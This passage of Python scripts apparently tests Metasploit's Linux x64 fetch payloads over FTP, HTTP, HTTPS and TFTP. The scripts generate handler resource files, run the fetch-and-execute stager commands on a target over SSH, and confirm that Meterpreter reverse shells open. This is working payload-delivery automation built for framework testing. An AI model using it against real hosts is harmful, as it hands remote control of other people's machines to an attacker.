    col_w = max(len(f) for f in FILELESS_VALUES) + 2
    cmd_w = max(len(c) for c in PROTOCOL['fetch_commands']) + 4
    print(f"  {'FETCH_COMMAND':<{cmd_w}}" + ''.join(f"{f:^{col_w}}" for f in FILELESS_VALUES))
    print(f"  {'-'*cmd_w}" + '-' * (col_w * len(FILELESS_VALUES)))
    by_key = {(r['test']['fetch_command'], r['test']['fileless']): r for r in results}
    for fetch_cmd in PROTOCOL['fetch_commands']:
        row = f"  {fetch_cmd:<{cmd_w}}"
        for fl in FILELESS_VALUES:
            r = by_key.get((fetch_cmd, fl))
            cell = 'PASS' if (r and r['passed']) else ('FAIL' if r else 'N/A ')
            row += f"{cell:^{col_w}}"
        print(row)
    print()

    for r in results:
        t = r['test']
        status = 'PASS' if r['passed'] else 'FAIL'
        print(f"  [{status}] {t['name']}")
        print(f"    Payload       : {t['payload']}")
        print(f"    LHOST         : {LHOST}   LPORT: {t['lport']}")
        print(f"    FETCH_COMMAND : {t['fetch_command']}   FETCH_SRVPORT: {t['fetch_srvport']}")
        print(f"    FETCH_FILELESS: {t['fileless']}")
        print(f"    FETCH_URIPATH : {t['fetch_uripath']}")
        if r['target_cmd']:
            print(f"    Target cmd    : {r['target_cmd']}")
        if r['session']:
            print(f"    Session       : {r['session']}")
        if r['sysinfo']:
            print(f"    Sysinfo       : {r['sysinfo']}")
        if r['error']:
            print(f"    Error         : {r['error']}")
        print()

    passed = sum(r['passed'] for r in results)
    print(f"Overall: {passed}/{len(results)} passed")
    return 0 if passed == len(results) else 1


def main():
    global LHOST, MSF_PATH, TARGET_HOST, TARGET_USER, TARGET_PASS, _log_fh

    parser = argparse.ArgumentParser(
        description='Test MSF Linux/x64 fetch FTP payload'
    )
    parser.add_argument('--lhost', required=True,
                        help='MSF listening host (IP reachable from target)')
    parser.add_argument('--msf-path', default='/home/tmoose/git/metasploit-framework',
                        help='Path to metasploit-framework checkout')
    parser.add_argument('--target-host', default=None, help='SSH target host')
    parser.add_argument('--target-user', default=None, help='SSH target username')
    parser.add_argument('--target-pass', default=None,
                        help='SSH target password (prompted if omitted)')
    args = parser.parse_args()

    LHOST       = args.lhost
    MSF_PATH    = args.msf_path
    TARGET_HOST = args.target_host or input('Target host: ').strip()
    TARGET_USER = args.target_user or input('Target user: ').strip()
    TARGET_PASS = args.target_pass or getpass.getpass('Target password: ')

    log_file = f'/tmp/fetch_linux_ftp_x64_{TARGET_HOST.replace(".", "_")}.log'
    _log_fh = open(log_file, 'w')
    print(f"Logging verbose output to {log_file}")
    try:
        cleanup_target()
        results = run_tests()
        return print_summary(results)
    finally:
        _log_fh.close()


if __name__ == '__main__':
    sys.exit(main())
Linux HTTP
#!/usr/bin/env python3
"""
Test MSF Linux fetch payload HTTP protocol × FETCH_COMMAND × FETCH_FILELESS × FETCH_PIPE.
Covers fetch commands: CURL, WGET, TNFTP, GET.
"""

import argparse
import concurrent.futures
import getpass
import os
import paramiko
import re
import subprocess
import sys
import tempfile
import threading
import time

_log_lock = threading.Lock()
_log_fh   = None
_ssh_sem  = threading.Semaphore(8)

LHOST       = None
TARGET_HOST = None
TARGET_USER = None
TARGET_PASS = None
MSF_PATH    = None

FILELESS_VALUES = ['none', 'shell', 'python3.8+']
PIPE_VALUES     = [False, True]
# Commands tested with both pipe=False and pipe=True
PIPE_COMMANDS   = {'CURL', 'WGET', 'GET'}
ANSI = re.compile(r'\x1b\[[0-9;]*m')

_LPORT_START = 4461
_SRV_START   = 4521

PROTOCOL = {
    'name': 'HTTP',
    'os': 'linux',
    'arch': 'x64',
    'payload': 'payload/cmd/linux/http/x64/meterpreter_reverse_tcp',
    'fetch_commands': ['CURL', 'WGET', 'TNFTP', 'GET'],
    'fetch_srvport_start': _SRV_START,
    'pipe_supported': True,
    'proto_opts': [],
}


def log(msg):
    with _log_lock:
        if _log_fh:
            _log_fh.write(msg + '\n')
            _log_fh.flush()


def _safe(s):
    return s.replace('.', '_').replace('+', 'p').replace('-', '_')


def build_tests():
    tests = []
    lport = _LPORT_START
    srvport = PROTOCOL['fetch_srvport_start']
    for fetch_cmd in PROTOCOL['fetch_commands']:
        pipe_values = PIPE_VALUES if fetch_cmd in PIPE_COMMANDS else [False]
        for fileless in FILELESS_VALUES:
            for pipe in pipe_values:
                pipe_suffix = 'pt' if pipe else 'pf'
                uri = f"http_{fetch_cmd.lower()}_{_safe(fileless)}_{pipe_suffix}"
                per_test_opts = [
                    f"set FETCH_COMMAND {fetch_cmd}",
                    f"set FETCH_FILELESS {fileless}",
                    f"set FETCH_PIPE {'true' if pipe else 'false'}",
                ]
                if fileless == 'none' and not pipe:
                    per_test_opts.append(f"set FETCH_FILENAME {uri}")
                else:
                    per_test_opts.append("set FETCH_FILENAME ''")
                extra_opts = [f"set FETCH_FILELESS {fileless}"]
                extra_opts.extend(PROTOCOL['proto_opts'])
                extra_opts.append(f"set FETCH_PIPE {'true' if pipe else 'false'}")
                if fileless == 'none' and not pipe:
                    extra_opts.append(f"set FETCH_FILENAME {uri}")
                tests.append({
                    'name':          f"HTTP/{fetch_cmd}/{fileless}/pipe={'true' if pipe else 'false'}",
                    'fetch_command': fetch_cmd,
                    'fileless':      fileless,
                    'pipe':          pipe,
                    'payload':       PROTOCOL['payload'],
                    'fetch_srvport': srvport,
                    'lport':         lport,
                    'fetch_uripath': uri,
                    'extra_opts':    extra_opts,
                    'per_test_opts': per_test_opts,
                })
                lport += 1
                srvport += 1
    return tests


TESTS = build_tests()


def _log_path():
    return '/tmp/msf_fetch_linux_http_x64.log'


def read_log(log_file):
    try:
        return ANSI.sub('', open(log_file).read())
    except FileNotFoundError:
        return ''


def write_proto_rc(tests):
    lines = [
        f"use {PROTOCOL['payload']}",
        f"set lhost {LHOST}",
        "set verbose true",
    ]
    for opt in PROTOCOL['proto_opts']:
        lines.append(opt)
    for t in tests:
        lines.append("")
        lines.append(f"set fetch_srvport {t['fetch_srvport']}")
        lines.append(f"set lport {t['lport']}")
        lines.append(f"set fetch_uripath {t['fetch_uripath']}")
        for opt in t['per_test_opts']:
            lines.append(opt)
        lines.append("to_handler")
    lines += ["", "sleep 240", "sessions -l", "sessions -C 'load stdapi'", "sleep 90", "sessions -C sysinfo", "sleep 60", "sessions -C sysinfo"]
    rc = tempfile.NamedTemporaryFile(
        mode='w', suffix='.rc', delete=False, prefix='msf_linux_http_x64_'
    )
    rc.write('\n'.join(lines) + '\n')
    rc.close()
    return rc.name


def run_msf(rc_file, log_file):
    return subprocess.Popen(
        ['bundle', 'exec', 'msfconsole', '-q', '-r', rc_file],
        stdin=subprocess.DEVNULL,
        stdout=open(log_file, 'w'),
        stderr=subprocess.STDOUT,
        cwd=MSF_PATH,
    )


def wait_for_n_handlers(log_file, n, timeout=180):
    start = time.time()
    while time.time() - start < timeout:
        content = read_log(log_file)
        if content.count('Started reverse TCP handler') >= n:
            return content
        if 'Exploit failed [bad-config]' in content or 'failed to bind' in content:
            return content
        time.sleep(2)
    return None


def parse_n_target_commands(log_content, n):
    matches = re.findall(r'Command to execute on target: (.+)', log_content)
    return [m.strip() for m in matches[:n]]


def ssh_run(command):
    with _ssh_sem:
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(
            TARGET_HOST, username=TARGET_USER, password=TARGET_PASS,
            timeout=10, allow_agent=False, look_for_keys=False,
        )
        _, stdout, stderr = client.exec_command(command)
        stdout.channel.settimeout(5)
        try:
            out = stdout.read().decode().strip()
        except Exception:
            out = ''
        try:
            err = stderr.read().decode().strip()
        except Exception:
            err = ''
        client.close()
    return out, err


def wait_for_sessions(log_file, lports, timeout=300):
    wanted  = set(lports)
    found   = {}
    sysinfo = {}
    start = time.time()
    while time.time() - start < timeout:
        content = read_log(log_file)
        for m in re.finditer(
            r'(Meterpreter session \d+ opened \(([^)]+)\) at .+)', content
        ):
            conn = m.group(2)
            lp_match = re.search(r':(\d+) ->', conn)
            if lp_match:
                lp = int(lp_match.group(1))
                if lp in wanted and lp not in found:
                    found[lp] = m.group(1)
        for m in re.finditer(
            r'meterpreter\s+\S+.*?(\d+\.\d+\.\d+\.\d+):(\d+) -> (\d+\.\d+\.\d+\.\d+):(\d+)',
            content
        ):
            lp = int(m.group(2))
            if lp in wanted and lp not in found:
                found[lp] = f"session via sessions-l ({m.group(1)}:{lp} -> {m.group(3)}:{m.group(4)})"
        sid_to_lport = {}
        for m in re.finditer(
            r'^\s+(\d+)\s+meterpreter.*?(\d+\.\d+\.\d+\.\d+):(\d+)\s*->',
            content, re.MULTILINE
        ):
            sid = int(m.group(1))
            lp  = int(m.group(3))
            if lp in wanted:
                sid_to_lport[sid] = lp
        for m in re.finditer(
            r"Running 'sysinfo' on meterpreter session (\d+)[^\n]*\nComputer\s*:\s*(.+)",
            content
        ):
            sid = int(m.group(1))
            if sid in sid_to_lport:
                lp = sid_to_lport[sid]
                if lp not in sysinfo:
                    sysinfo[lp] = m.group(2).strip()
        if len(found) == len(wanted) and len(sysinfo) == len(wanted):
            break
        time.sleep(2)
    return found, sysinfo


def kill_lingering(port):
    result = subprocess.run(
        ['ss', '-tlnp', f'sport = :{port}'],
        capture_output=True, text=True,
    )
    for pid_match in re.finditer(r'pid=(\d+)', result.stdout):
        pid = int(pid_match.group(1))
        try:
            os.kill(pid, 9)
            log(f"  killed pid {pid} on port {port}")
        except ProcessLookupError:
            pass


def cleanup_target():
    log("[CLEANUP] Killing lingering test processes and removing stale binaries on target...")
    try:
        ssh_run(
            f"for pid in $(ss -tnap dst {LHOST} 2>/dev/null "
            f"| grep -oP 'pid=\\K[0-9]+' | sort -u); do kill -9 $pid 2>/dev/null; done; "
            "for pid in $(ls /proc 2>/dev/null | grep -E '^[0-9]+$'); do "
            "  readlink /proc/$pid/exe 2>/dev/null | grep -qE '(memfd|/http_)' && kill -9 $pid 2>/dev/null; "
            "done"
        )
        time.sleep(5)
        out, _ = ssh_run(
            f"for pid in $(ss -tnap dst {LHOST} 2>/dev/null "
            f"| grep -oP 'pid=\\K[0-9]+' | sort -u); do kill -9 $pid 2>/dev/null; done; "
            "for pid in $(ls /proc 2>/dev/null | grep -E '^[0-9]+$'); do "
            "  readlink /proc/$pid/exe 2>/dev/null | grep -qE '(memfd|/http_)' && kill -9 $pid 2>/dev/null; "
            "done; "
            "sleep 1; "
            "rm -f ./http_* 2>/dev/null; "
            "echo done"
        )
        log(f"[CLEANUP] {out or 'ok'}")
    except Exception as exc:
        log(f"[CLEANUP] Warning: {exc}")


def run_tests():
    tests = TESTS
    n = len(tests)
    log_file = _log_path()

    results = {t['lport']: {
        'test': t, 'passed': False, 'session': None,
        'sysinfo': None, 'target_cmd': None, 'error': None,
    } for t in tests}

    log(f"[HTTP] Starting {n} tests")

    for t in tests:
        kill_lingering(t['lport'])
        kill_lingering(t['fetch_srvport'])

    rc_file = write_proto_rc(tests)
    proc = run_msf(rc_file, log_file)

    content = wait_for_n_handlers(log_file, n, timeout=180)
    if content is None:
        for t in tests:
            results[t['lport']]['error'] = 'Handlers did not all start within timeout'
        proc.terminate()
        return list(results.values())

    if 'Exploit failed' in content or 'failed to bind' in content:
        for t in tests:
            results[t['lport']]['error'] = 'Handler setup failed'
        proc.terminate()
        return list(results.values())

    cmds = parse_n_target_commands(content, n)
    if len(cmds) < n:
        for t in tests:
            results[t['lport']]['error'] = f"Only got {len(cmds)}/{n} target commands"
        proc.terminate()
        return list(results.values())

    for t, cmd in zip(tests, cmds):
        results[t['lport']]['target_cmd'] = cmd
        log(f"[CMD] {t['name']}: {cmd}")

    def _ssh(pair):
        t, cmd = pair
        try:
            ssh_run(cmd)
            return t, None
        except Exception as exc:
            return t, str(exc)

    with concurrent.futures.ThreadPoolExecutor(max_workers=n) as ex:
        for future in concurrent.futures.as_completed(
            ex.submit(_ssh, (t, results[t['lport']]['target_cmd'])) for t in tests
        ):
            t, err = future.result()
            if err:
                results[t['lport']]['error'] = f"SSH error: {err}"
                log(f"[SSH-ERR] {t['name']}: {err}")

    lports = [t['lport'] for t in tests]
    sessions, sysinfo = wait_for_sessions(log_file, lports, timeout=480)

    proc.terminate()
    try:
        proc.wait(timeout=10)
    except subprocess.TimeoutExpired:
        proc.kill()

    for t in tests:
        lp = t['lport']
        if lp in sessions and lp in sysinfo:
            results[lp]['passed'] = True
            results[lp]['session'] = sessions[lp]
            results[lp]['sysinfo'] = sysinfo[lp]
            print(f"[PASS] {t['name']}: {sessions[lp]}")
        elif lp in sessions:
            results[lp]['session'] = sessions[lp]
            results[lp]['error'] = 'Session opened but sysinfo failed'
            print(f"[FAIL] {t['name']}: Session opened but sysinfo failed")
        elif results[lp]['error'] is None:
            results[lp]['error'] = 'No Meterpreter session within timeout'
            print(f"[FAIL] {t['name']}: No session within timeout")

    return list(results.values())


def _matrix(results, pipe_val):
    subset = [r for r in results if r['test']['pipe'] == pipe_val]
    if not subset:
        return
    col_w = max(len(f) for f in FILELESS_VALUES) + 2
    cmd_w = max(len(c) for c in PROTOCOL['fetch_commands']) + 4
    label = 'true' if pipe_val else 'false'
    print(f"  FETCH_PIPE = {label}")
    print(f"  {'FETCH_COMMAND':<{cmd_w}}" + ''.join(f"{f:^{col_w}}" for f in FILELESS_VALUES))
    print(f"  {'-'*cmd_w}" + '-' * (col_w * len(FILELESS_VALUES)))
    by_key = {
        (r['test']['fetch_command'], r['test']['fileless']): r for r in subset
    }
    for fetch_cmd in PROTOCOL['fetch_commands']:
        row = f"  {fetch_cmd:<{cmd_w}}"
        for fl in FILELESS_VALUES:
            r = by_key.get((fetch_cmd, fl))
            cell = 'PASS' if (r and r['passed']) else ('FAIL' if r else '    ')
            row += f"{cell:^{col_w}}"
        print(row)
    print()


def print_summary(results):
    print(f"\n{'='*60}")
    print("HTTP (linux/x64) RESULTS SUMMARY")
    print(f"{'='*60}\n")

    for pipe_val in PIPE_VALUES:
        _matrix(results, pipe_val)

    for r in results:
        t = r['test']
        status = 'PASS' if r['passed'] else 'FAIL'
        print(f"  [{status}] {t['name']}")
        print(f"    Payload       : {t['payload']}")
        print(f"    LHOST         : {LHOST}   LPORT: {t['lport']}")
        print(f"    FETCH_COMMAND : {t['fetch_command']}   FETCH_SRVPORT: {t['fetch_srvport']}")
        print(f"    FETCH_FILELESS: {t['fileless']}")
        print(f"    FETCH_PIPE    : {'true' if t['pipe'] else 'false'}")
        print(f"    FETCH_URIPATH : {t['fetch_uripath']}")
        if r['target_cmd']:
            print(f"    Target cmd    : {r['target_cmd']}")
        if r['session']:
            print(f"    Session       : {r['session']}")
        if r['sysinfo']:
            print(f"    Sysinfo       : {r['sysinfo']}")
        if r['error']:
            print(f"    Error         : {r['error']}")
        print()

    passed = sum(r['passed'] for r in results)
    print(f"Overall: {passed}/{len(results)} passed")
    return 0 if passed == len(results) else 1


def main():
    global LHOST, MSF_PATH, TARGET_HOST, TARGET_USER, TARGET_PASS, _log_fh

    parser = argparse.ArgumentParser(
        description='Test MSF Linux/x64 fetch HTTP payload'
    )
    parser.add_argument('--lhost', required=True,
                        help='MSF listening host (IP reachable from target)')
    parser.add_argument('--msf-path', default='/home/tmoose/git/metasploit-framework',
                        help='Path to metasploit-framework checkout')
    parser.add_argument('--target-host', default=None, help='SSH target host')
    parser.add_argument('--target-user', default=None, help='SSH target username')
    parser.add_argument('--target-pass', default=None,
                        help='SSH target password (prompted if omitted)')
    args = parser.parse_args()

    LHOST       = args.lhost
    MSF_PATH    = args.msf_path
    TARGET_HOST = args.target_host or input('Target host: ').strip()
    TARGET_USER = args.target_user or input('Target user: ').strip()
    TARGET_PASS = args.target_pass or getpass.getpass('Target password: ')

    log_file = f'/tmp/fetch_linux_http_x64_{TARGET_HOST.replace(".", "_")}.log'
    _log_fh = open(log_file, 'w')
    print(f"Logging verbose output to {log_file}")
    try:
        cleanup_target()
        results = run_tests()
        return print_summary(results)
    finally:
        _log_fh.close()


if __name__ == '__main__':
    sys.exit(main())
Linux HTTPS
#!/usr/bin/env python3
"""
Test MSF Linux fetch payload HTTPS protocol × FETCH_COMMAND × FETCH_FILELESS × FETCH_PIPE.
Covers fetch commands: CURL, WGET, TNFTP.
"""

import argparse
import concurrent.futures
import getpass
import os
import paramiko
import re
import subprocess
import sys
import tempfile
import threading
import time

_log_lock = threading.Lock()
_log_fh   = None
_ssh_sem  = threading.Semaphore(8)

LHOST       = None
TARGET_HOST = None
TARGET_USER = None
TARGET_PASS = None
MSF_PATH    = None

FILELESS_VALUES = ['none', 'shell', 'python3.8+']
PIPE_VALUES     = [False, True]
# Commands tested with both pipe=False and pipe=True
PIPE_COMMANDS   = {'CURL', 'WGET'}
ANSI = re.compile(r'\x1b\[[0-9;]*m')

_LPORT_START = 4491
_SRV_START   = 4561

PROTOCOL = {
    'name': 'HTTPS',
    'os': 'linux',
    'arch': 'x64',
    'payload': 'payload/cmd/linux/https/x64/meterpreter_reverse_tcp',
    'fetch_commands': ['CURL', 'WGET', 'TNFTP'],
    'fetch_srvport_start': _SRV_START,
    'pipe_supported': True,
    'proto_opts': ['set FETCH_CHECK_CERT false'],
}


def log(msg):
    with _log_lock:
        if _log_fh:
            _log_fh.write(msg + '\n')
            _log_fh.flush()


def _safe(s):
    return s.replace('.', '_').replace('+', 'p').replace('-', '_')


def build_tests():
    tests = []
    lport = _LPORT_START
    srvport = PROTOCOL['fetch_srvport_start']
    for fetch_cmd in PROTOCOL['fetch_commands']:
        pipe_values = PIPE_VALUES if fetch_cmd in PIPE_COMMANDS else [False]
        for fileless in FILELESS_VALUES:
            for pipe in pipe_values:
                pipe_suffix = 'pt' if pipe else 'pf'
                uri = f"https_{fetch_cmd.lower()}_{_safe(fileless)}_{pipe_suffix}"
                per_test_opts = [
                    f"set FETCH_COMMAND {fetch_cmd}",
                    f"set FETCH_FILELESS {fileless}",
                    f"set FETCH_PIPE {'true' if pipe else 'false'}",
                ]
                if fileless == 'none' and not pipe:
                    per_test_opts.append(f"set FETCH_FILENAME {uri}")
                else:
                    per_test_opts.append("set FETCH_FILENAME ''")
                extra_opts = [f"set FETCH_FILELESS {fileless}"]
                extra_opts.extend(PROTOCOL['proto_opts'])
                extra_opts.append(f"set FETCH_PIPE {'true' if pipe else 'false'}")
                if fileless == 'none' and not pipe:
                    extra_opts.append(f"set FETCH_FILENAME {uri}")
                tests.append({
                    'name':          f"HTTPS/{fetch_cmd}/{fileless}/pipe={'true' if pipe else 'false'}",
                    'fetch_command': fetch_cmd,
                    'fileless':      fileless,
                    'pipe':          pipe,
                    'payload':       PROTOCOL['payload'],
                    'fetch_srvport': srvport,
                    'lport':         lport,
                    'fetch_uripath': uri,
                    'extra_opts':    extra_opts,
                    'per_test_opts': per_test_opts,
                })
                lport += 1
                srvport += 1
    return tests


TESTS = build_tests()


def _log_path():
    return '/tmp/msf_fetch_linux_https_x64.log'


def read_log(log_file):
    try:
        return ANSI.sub('', open(log_file).read())
    except FileNotFoundError:
        return ''


def write_proto_rc(tests):
    lines = [
        f"use {PROTOCOL['payload']}",
        f"set lhost {LHOST}",
        "set verbose true",
    ]
    for opt in PROTOCOL['proto_opts']:
        lines.append(opt)
    for t in tests:
        lines.append("")
        lines.append(f"set fetch_srvport {t['fetch_srvport']}")
        lines.append(f"set lport {t['lport']}")
        lines.append(f"set fetch_uripath {t['fetch_uripath']}")
        for opt in t['per_test_opts']:
            lines.append(opt)
        lines.append("to_handler")
    lines += ["", "sleep 240", "sessions -l", "sessions -C 'load stdapi'", "sleep 90", "sessions -C sysinfo", "sleep 60", "sessions -C sysinfo"]
    rc = tempfile.NamedTemporaryFile(
        mode='w', suffix='.rc', delete=False, prefix='msf_linux_https_x64_'
    )
    rc.write('\n'.join(lines) + '\n')
    rc.close()
    return rc.name


def run_msf(rc_file, log_file):
    return subprocess.Popen(
        ['bundle', 'exec', 'msfconsole', '-q', '-r', rc_file],
        stdin=subprocess.DEVNULL,
        stdout=open(log_file, 'w'),
        stderr=subprocess.STDOUT,
        cwd=MSF_PATH,
    )


def wait_for_n_handlers(log_file, n, timeout=180):
    start = time.time()
    while time.time() - start < timeout:
        content = read_log(log_file)
        if content.count('Started reverse TCP handler') >= n:
            return content
        if 'Exploit failed [bad-config]' in content or 'failed to bind' in content:
            return content
        time.sleep(2)
    return None


def parse_n_target_commands(log_content, n):
    matches = re.findall(r'Command to execute on target: (.+)', log_content)
    return [m.strip() for m in matches[:n]]


def ssh_run(command):
    with _ssh_sem:
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(
            TARGET_HOST, username=TARGET_USER, password=TARGET_PASS,
            timeout=10, allow_agent=False, look_for_keys=False,
        )
        _, stdout, stderr = client.exec_command(command)
        stdout.channel.settimeout(5)
        try:
            out = stdout.read().decode().strip()
        except Exception:
            out = ''
        try:
            err = stderr.read().decode().strip()
        except Exception:
            err = ''
        client.close()
    return out, err


def wait_for_sessions(log_file, lports, timeout=300):
    wanted  = set(lports)
    found   = {}
    sysinfo = {}
    start = time.time()
    while time.time() - start < timeout:
        content = read_log(log_file)
        for m in re.finditer(
            r'(Meterpreter session \d+ opened \(([^)]+)\) at .+)', content
        ):
            conn = m.group(2)
            lp_match = re.search(r':(\d+) ->', conn)
            if lp_match:
                lp = int(lp_match.group(1))
                if lp in wanted and lp not in found:
                    found[lp] = m.group(1)
        for m in re.finditer(
            r'meterpreter\s+\S+.*?(\d+\.\d+\.\d+\.\d+):(\d+) -> (\d+\.\d+\.\d+\.\d+):(\d+)',
            content
        ):
            lp = int(m.group(2))
            if lp in wanted and lp not in found:
                found[lp] = f"session via sessions-l ({m.group(1)}:{lp} -> {m.group(3)}:{m.group(4)})"
        sid_to_lport = {}
        for m in re.finditer(
            r'^\s+(\d+)\s+meterpreter.*?(\d+\.\d+\.\d+\.\d+):(\d+)\s*->',
            content, re.MULTILINE
        ):
            sid = int(m.group(1))
            lp  = int(m.group(3))
            if lp in wanted:
                sid_to_lport[sid] = lp
        for m in re.finditer(
            r"Running 'sysinfo' on meterpreter session (\d+)[^\n]*\nComputer\s*:\s*(.+)",
            content
        ):
            sid = int(m.group(1))
            if sid in sid_to_lport:
                lp = sid_to_lport[sid]
                if lp not in sysinfo:
                    sysinfo[lp] = m.group(2).strip()
        if len(found) == len(wanted) and len(sysinfo) == len(wanted):
            break
        time.sleep(2)
    return found, sysinfo


def kill_lingering(port):
    result = subprocess.run(
        ['ss', '-tlnp', f'sport = :{port}'],
        capture_output=True, text=True,
    )
    for pid_match in re.finditer(r'pid=(\d+)', result.stdout):
        pid = int(pid_match.group(1))
        try:
            os.kill(pid, 9)
            log(f"  killed pid {pid} on port {port}")
        except ProcessLookupError:
            pass


def cleanup_target():
    log("[CLEANUP] Killing lingering test processes and removing stale binaries on target...")
    try:
        ssh_run(
            f"for pid in $(ss -tnap dst {LHOST} 2>/dev/null "
            f"| grep -oP 'pid=\\K[0-9]+' | sort -u); do kill -9 $pid 2>/dev/null; done; "
            "for pid in $(ls /proc 2>/dev/null | grep -E '^[0-9]+$'); do "
            "  readlink /proc/$pid/exe 2>/dev/null | grep -qE '(memfd|/https_)' && kill -9 $pid 2>/dev/null; "
            "done"
        )
        time.sleep(5)
        out, _ = ssh_run(
            f"for pid in $(ss -tnap dst {LHOST} 2>/dev/null "
            f"| grep -oP 'pid=\\K[0-9]+' | sort -u); do kill -9 $pid 2>/dev/null; done; "
            "for pid in $(ls /proc 2>/dev/null | grep -E '^[0-9]+$'); do "
            "  readlink /proc/$pid/exe 2>/dev/null | grep -qE '(memfd|/https_)' && kill -9 $pid 2>/dev/null; "
            "done; "
            "sleep 1; "
            "rm -f ./https_* 2>/dev/null; "
            "echo done"
        )
        log(f"[CLEANUP] {out or 'ok'}")
    except Exception as exc:
        log(f"[CLEANUP] Warning: {exc}")


def run_tests():
    tests = TESTS
    n = len(tests)
    log_file = _log_path()

    results = {t['lport']: {
        'test': t, 'passed': False, 'session': None,
        'sysinfo': None, 'target_cmd': None, 'error': None,
    } for t in tests}

    log(f"[HTTPS] Starting {n} tests")

    for t in tests:
        kill_lingering(t['lport'])
        kill_lingering(t['fetch_srvport'])

    rc_file = write_proto_rc(tests)
    proc = run_msf(rc_file, log_file)

    content = wait_for_n_handlers(log_file, n, timeout=180)
    if content is None:
        for t in tests:
            results[t['lport']]['error'] = 'Handlers did not all start within timeout'
        proc.terminate()
        return list(results.values())

    if 'Exploit failed' in content or 'failed to bind' in content:
        for t in tests:
            results[t['lport']]['error'] = 'Handler setup failed'
        proc.terminate()
        return list(results.values())

    cmds = parse_n_target_commands(content, n)
    if len(cmds) < n:
        for t in tests:
            results[t['lport']]['error'] = f"Only got {len(cmds)}/{n} target commands"
        proc.terminate()
        return list(results.values())

    for t, cmd in zip(tests, cmds):
        results[t['lport']]['target_cmd'] = cmd
        log(f"[CMD] {t['name']}: {cmd}")

    def _ssh(pair):
        t, cmd = pair
        try:
            ssh_run(cmd)
            return t, None
        except Exception as exc:
            return t, str(exc)

    with concurrent.futures.ThreadPoolExecutor(max_workers=n) as ex:
        for future in concurrent.futures.as_completed(
            ex.submit(_ssh, (t, results[t['lport']]['target_cmd'])) for t in tests
        ):
            t, err = future.result()
            if err:
                results[t['lport']]['error'] = f"SSH error: {err}"
                log(f"[SSH-ERR] {t['name']}: {err}")

    lports = [t['lport'] for t in tests]
    sessions, sysinfo = wait_for_sessions(log_file, lports, timeout=480)

    proc.terminate()
    try:
        proc.wait(timeout=10)
    except subprocess.TimeoutExpired:
        proc.kill()

    for t in tests:
        lp = t['lport']
        if lp in sessions and lp in sysinfo:
            results[lp]['passed'] = True
            results[lp]['session'] = sessions[lp]
            results[lp]['sysinfo'] = sysinfo[lp]
            print(f"[PASS] {t['name']}: {sessions[lp]}")
        elif lp in sessions:
            results[lp]['session'] = sessions[lp]
            results[lp]['error'] = 'Session opened but sysinfo failed'
            print(f"[FAIL] {t['name']}: Session opened but sysinfo failed")
        elif results[lp]['error'] is None:
            results[lp]['error'] = 'No Meterpreter session within timeout'
            print(f"[FAIL] {t['name']}: No session within timeout")

    return list(results.values())


def _matrix(results, pipe_val):
    subset = [r for r in results if r['test']['pipe'] == pipe_val]
    if not subset:
        return
    col_w = max(len(f) for f in FILELESS_VALUES) + 2
    cmd_w = max(len(c) for c in PROTOCOL['fetch_commands']) + 4
    label = 'true' if pipe_val else 'false'
    print(f"  FETCH_PIPE = {label}")
    print(f"  {'FETCH_COMMAND':<{cmd_w}}" + ''.join(f"{f:^{col_w}}" for f in FILELESS_VALUES))
    print(f"  {'-'*cmd_w}" + '-' * (col_w * len(FILELESS_VALUES)))
    by_key = {
        (r['test']['fetch_command'], r['test']['fileless']): r for r in subset
    }
    for fetch_cmd in PROTOCOL['fetch_commands']:
        row = f"  {fetch_cmd:<{cmd_w}}"
        for fl in FILELESS_VALUES:
            r = by_key.get((fetch_cmd, fl))
            cell = 'PASS' if (r and r['passed']) else ('FAIL' if r else '    ')
            row += f"{cell:^{col_w}}"
        print(row)
    print()


def print_summary(results):
    print(f"\n{'='*60}")
    print("HTTPS (linux/x64) RESULTS SUMMARY")
    print(f"{'='*60}\n")

    for pipe_val in PIPE_VALUES:
        _matrix(results, pipe_val)

    for r in results:
        t = r['test']
        status = 'PASS' if r['passed'] else 'FAIL'
        print(f"  [{status}] {t['name']}")
        print(f"    Payload       : {t['payload']}")
        print(f"    LHOST         : {LHOST}   LPORT: {t['lport']}")
        print(f"    FETCH_COMMAND : {t['fetch_command']}   FETCH_SRVPORT: {t['fetch_srvport']}")
        print(f"    FETCH_FILELESS: {t['fileless']}")
        print(f"    FETCH_PIPE    : {'true' if t['pipe'] else 'false'}")
        print(f"    FETCH_URIPATH : {t['fetch_uripath']}")
        if r['target_cmd']:
            print(f"    Target cmd    : {r['target_cmd']}")
        if r['session']:
            print(f"    Session       : {r['session']}")
        if r['sysinfo']:
            print(f"    Sysinfo       : {r['sysinfo']}")
        if r['error']:
            print(f"    Error         : {r['error']}")
        print()

    passed = sum(r['passed'] for r in results)
    print(f"Overall: {passed}/{len(results)} passed")
    return 0 if passed == len(results) else 1


def main():
    global LHOST, MSF_PATH, TARGET_HOST, TARGET_USER, TARGET_PASS, _log_fh

    parser = argparse.ArgumentParser(
        description='Test MSF Linux/x64 fetch HTTPS payload'
    )
    parser.add_argument('--lhost', required=True,
                        help='MSF listening host (IP reachable from target)')
    parser.add_argument('--msf-path', default='/home/tmoose/git/metasploit-framework',
                        help='Path to metasploit-framework checkout')
    parser.add_argument('--target-host', default=None, help='SSH target host')
    parser.add_argument('--target-user', default=None, help='SSH target username')
    parser.add_argument('--target-pass', default=None,
                        help='SSH target password (prompted if omitted)')
    args = parser.parse_args()

    LHOST       = args.lhost
    MSF_PATH    = args.msf_path
    TARGET_HOST = args.target_host or input('Target host: ').strip()
    TARGET_USER = args.target_user or input('Target user: ').strip()
    TARGET_PASS = args.target_pass or getpass.getpass('Target password: ')

    log_file = f'/tmp/fetch_linux_https_x64_{TARGET_HOST.replace(".", "_")}.log'
    _log_fh = open(log_file, 'w')
    print(f"Logging verbose output to {log_file}")
    try:
        cleanup_target()
        results = run_tests()
        return print_summary(results)
    finally:
        _log_fh.close()


if __name__ == '__main__':
    sys.exit(main())

Linux TFTP
#!/usr/bin/env python3
"""
Test MSF Linux fetch payload TFTP protocol × FETCH_COMMAND × FETCH_FILELESS.
TFTP server binds to port 69 (UDP) — run as root or with cap_net_bind_service.
"""

import argparse
import concurrent.futures
import getpass
import os
import paramiko
import re
import subprocess
import sys
import tempfile
import threading
import time

_log_lock = threading.Lock()
_log_fh   = None
_ssh_sem  = threading.Semaphore(8)

LHOST       = None
TARGET_HOST = None
TARGET_USER = None
TARGET_PASS = None
MSF_PATH    = None

FILELESS_VALUES = ['none', 'shell', 'python3.8+']
